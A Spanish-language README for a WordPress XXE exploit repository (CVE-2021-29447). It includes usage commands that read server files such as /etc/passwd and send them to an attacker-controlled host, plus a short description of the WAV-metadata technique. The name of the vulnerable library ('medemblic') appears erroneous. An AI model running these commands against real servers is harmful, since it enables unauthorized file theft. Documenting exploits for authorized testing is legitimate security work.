CVE-2021-29447 - WordPress XXE Vulnerability Exploit

Descripcion

Este repositorio contiene un exploit para CVE-2021-29447, una vulnerabilidad de XXE (XML External Entity) presente en WordPress 5.7.0 y versiones anteriores. La vulnerabilidad existe en la biblioteca medemblic que procesa archivos WAV, permitiendo a un atacante leer archivos arbitrarios del servidor.

Requisitos

• Bash
• Python 3
• Docker y Docker Compose (para levantar entorno de prueba)
• Servidor WordPress vulnerable (5.7.0 o inferior)

Archivos

Uso

1. Levantar entorno de prueba

docker-compose up -d

2. Ejecutar exploit

chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <archivo_objetivo>

Parametros:

• -l IP del atacante (LHOST)
• -p Puerto del atacante (LPORT)
• -f Ruta del archivo a leer en el servidor
• -h Mostrar ayuda

Ejemplo:

./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. Decodificar datos

Los datos exfiltrados vendran codificados en base64 y comprimidos con zlib. Para decodificarlos:

php decode.php

Tecnica

El exploit funciona insertando una entidad externa XXE en los metadatos de un archivo WAV. Cuando WordPress procesa el archivo, el parser XML resuelve la entidad externa, causando que el servidor realize una peticion HTTP al servidor del atacante con el contenido del archivo codificado en la URL.

Referencias

• CVE-2021-29447
• WordPress 5.7.0 Security Release

Aviso

Este codigo es solo para fines educativos y de pruebas de penetracion autorizadas. No utilizar en sistemas sin autorizacion explicita.